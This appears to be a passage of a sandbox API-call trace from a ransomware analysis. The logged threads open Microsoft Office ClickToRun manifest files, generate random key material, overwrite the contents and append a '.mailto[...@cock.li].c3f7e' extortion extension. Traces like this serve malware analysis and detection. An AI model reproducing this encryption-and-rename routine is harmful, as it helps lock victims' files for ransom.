	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xf2ba1aae
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xd69e0a71
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x39aa8c9c
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xf3873b3f
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x46bd6f9a
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x483f18f0
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x2ff6f51f
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xcc081026
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x80b7d524
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xa840d294
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x845e48bf
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x266fa8b1
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x928ba826
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x71113be1
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x77b47fb8
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xc472af41
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x56c0f6c5
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x425834d8
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xf26d3e3f
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x90b3da3d
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x562998b2
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x2edce6dc
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x79d9e4dd
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xf17d4dee
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x5fb6be6e
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x88c6e743
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x84ff617c
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0x586b0945
	[0089.010] RtlRandom (in: Seed=0x2c6bfb40 | out: Seed=0x2c6bfb40) returned 0xb72adc3f
	[0089.023] ReadFile (in: hFile=0x1c04, lpBuffer=0x48e9030, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x2c6bfb30, lpOverlapped=0x0 | out: lpBuffer=0x48e9030*, lpNumberOfBytesRead=0x2c6bfb30*=0x7fa, lpOverlapped=0x0) returned 1
	[0089.023] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.024] WriteFile (in: hFile=0x1c04, lpBuffer=0x48f5838*, nNumberOfBytesToWrite=0x7fa, lpNumberOfBytesWritten=0x2c6bfb2c, lpOverlapped=0x0 | out: lpBuffer=0x48f5838*, lpNumberOfBytesWritten=0x2c6bfb2c*=0x7fa, lpOverlapped=0x0) returned 1
	[0089.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48f5838) returned 1
	[0089.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e9030) returned 1
	[0089.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83648) returned 1
	[0089.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0089.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x4734088
	[0089.025] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.025] WriteFile (in: hFile=0x1c04, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x2c6bfb94, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c6bfb94*=0x143, lpOverlapped=0x0) returned 1
	[0089.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47340f0) returned 1
	[0089.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0089.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0089.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0089.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0089.027] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0089.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebca00
	[0089.027] wcscpy (in: _Dest=0x4ebca00, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml"
	[0089.027] wcscat (in: _Dest=0x4ebca00, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.027] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c6bfb4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x146) returned 0x2e02570
	[0089.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0089.028] NtQueryInformationFile (in: FileHandle=0x1c04, IoStatusBlock=0x2c6bfb58, FileInformation=0x2c6bfb30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c6bfb58, FileInformation=0x2c6bfb30) returned 0x0
	[0089.029] NtSetInformationFile (FileHandle=0x1c04, IoStatusBlock=0x2c6bfb58, FileInformation=0x2c6bfb30, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.029] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0089.029] FlushFileBuffers (hFile=0x1c04) returned 1
	[0093.261] CloseHandle (hObject=0x1c04) 

Thread:
	id = 1285
	os_tid = 0x2050

	[0089.024] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.025] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.030] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c08
	[0089.030] GetFileSizeEx (in: hFile=0x1c08, lpFileSize=0x2c73f99c | out: lpFileSize=0x2c73f99c*=97084) returned 1
	[0089.030] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x17b38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.031] ReadFile (in: hFile=0x1c08, lpBuffer=0x2c73f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c73f91c, lpOverlapped=0x0 | out: lpBuffer=0x2c73f920*, lpNumberOfBytesRead=0x2c73f91c*=0x4, lpOverlapped=0x0) returned 1
	[0089.032] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0089.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.032] NtQuerySystemTime (in: CurrentTime=0x2c73f8fc | out: CurrentTime=0x2c73f8fc*=132251868157725399) returned 0x0
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x57880b84
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x2b32019d
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xaad4b1ba
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xcb705cb5
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x9e8cb5cd
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xb3f80766
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x50998136
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x8a742e44
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x2f82e221
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xaf942add
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xa73f4d31
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x18acacf5
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x86cf0e3e
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xdb8554ae
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x90254cdf
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xe15c39c4
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x2dc45d93
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x7251c287
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x70e5973d
	[0089.032] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x5be47fff
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xded2cdd5
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x41e38f
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xb342758f
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xf6a63f4b
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xad7ed96d
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xbb38daab
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xa3bdbf07
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xb629fa38
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xeadd7f19
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0xcb56b4e9
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x847986f5
	[0089.033] RtlRandom (in: Seed=0x2c73f908 | out: Seed=0x2c73f908) returned 0x6d41af1f
	[0089.041] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.041] ReadFile (in: hFile=0x1c08, lpBuffer=0x48e9030, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2c73f8dc, lpOverlapped=0x0 | out: lpBuffer=0x48e9030*, lpNumberOfBytesRead=0x2c73f8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0089.042] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb270
	[0089.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83648
	[0089.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0089.043] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0089.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48f5838
	[0089.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.044] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83648) returned 1
	[0089.044] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0089.044] WriteFile (in: hFile=0x1c08, lpBuffer=0x48f5838*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2c73f8dc, lpOverlapped=0x0 | out: lpBuffer=0x48f5838*, lpNumberOfBytesWritten=0x2c73f8dc*=0xc800, lpOverlapped=0x0) returned 1
	[0089.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48f5838) returned 1
	[0089.046] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48e9030) returned 1
	[0089.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x75) returned 0x47bc790
	[0089.046] SetFilePointerEx (in: hFile=0x1c08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.046] WriteFile (in: hFile=0x1c08, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x159, lpNumberOfBytesWritten=0x2c73f95c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c73f95c*=0x159, lpOverlapped=0x0) returned 1
	[0089.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc090) returned 1
	[0089.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ab0) returned 1
	[0089.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc790) returned 1
	[0089.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a60) returned 1
	[0089.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0089.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0089.048] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0089.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x146) returned 0x2e02570
	[0089.048] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml"
	[0089.048] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0089.048] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c73f914, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0089.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15c) returned 0x4730008
	[0089.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730008) returned 1
	[0089.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0089.049] NtQueryInformationFile (in: FileHandle=0x1c08, IoStatusBlock=0x2c73f920, FileInformation=0x2c73f8f8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c73f920, FileInformation=0x2c73f8f8) returned 0x0
	[0089.049] NtSetInformationFile (FileHandle=0x1c08, IoStatusBlock=0x2c73f920, FileInformation=0x2c73f8f8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0089.050] FlushFileBuffers (hFile=0x1c08) returned 1
	[0093.262] CloseHandle (hObject=0x1c08) 

Thread:
	id = 1286
	os_tid = 0x2054

	[0089.042] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml")) returned 0x20
	[0089.042] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.045] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c0c
	[0089.045] GetFileSizeEx (in: hFile=0x1c0c, lpFileSize=0x2c7bf810 | out: lpFileSize=0x2c7bf810*=19018) returned 1
	[0089.045] SetFilePointerEx (in: hFile=0x1c0c, liDistanceToMove=0x4a46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.046] ReadFile (in: hFile=0x1c0c, lpBuffer=0x2c7bf794, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c7bf790, lpOverlapped=0x0 | out: lpBuffer=0x2c7bf794*, lpNumberOfBytesRead=0x2c7bf790*=0x4, lpOverlapped=0x0) returned 1
	[0089.051] SetFilePointerEx (in: hFile=0x1c0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.052] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.052] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0089.052] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
	[0089.052] NtQuerySystemTime (in: CurrentTime=0x2c7bf770 | out: CurrentTime=0x2c7bf770*=132251868157881797) returned 0x0
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xf7b3a445
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x4b8241f7
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xc61fc6cd
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x4ab07157
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xbbb16ef9
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xe0d888fe
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x19154b93
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x13732216
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x3a6825fa
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x4931a696
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x71251f96
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xc4737ec9
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xe911c901
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x6d2934ee
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x71695e07
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xf17e2a7
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xf6830bd3
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xa59e1cff
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xdbad27d8
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x171de688
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xc253683
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x6ee4a329
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x7ebffa27
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x75b444aa
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x5a28764
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x75ba0fb9
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xe484581b
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xd0ff5bb5
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xb8b3faa0
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x3676530f
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0xfeb5ffe2
	[0089.052] RtlRandom (in: Seed=0x2c7bf77c | out: Seed=0x2c7bf77c) returned 0x18bfe1b1
	[0089.061] ReadFile (in: hFile=0x1c0c, lpBuffer=0x48e9030, nNumberOfBytesToRead=0x4a4a, lpNumberOfBytesRead=0x2c7bf76c, lpOverlapped=0x0 | out: lpBuffer=0x48e9030*, lpNumberOfBytesRead=0x2c7bf76c*=0x4a4a, lpOverlapped=0x0) returned 1
	[0089.062] SetFilePointerEx (in: hFile=0x1c0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.062] WriteFile (in: hFile=0x1c0c, lpBuffer=0x48f5838*, nNumberOfBytesToWrite=0x4a4a, lpNumberOfBytesWritten=0x2c7bf768, lpOverlapped=0x0 | out: lpBuffer=0x48f5838*, lpNumberOfBytesWritten=0x2c7bf768*=0x4a4a, lpOverlapped=0x0) returned 1
	[0089.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a60
	[0089.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ab0
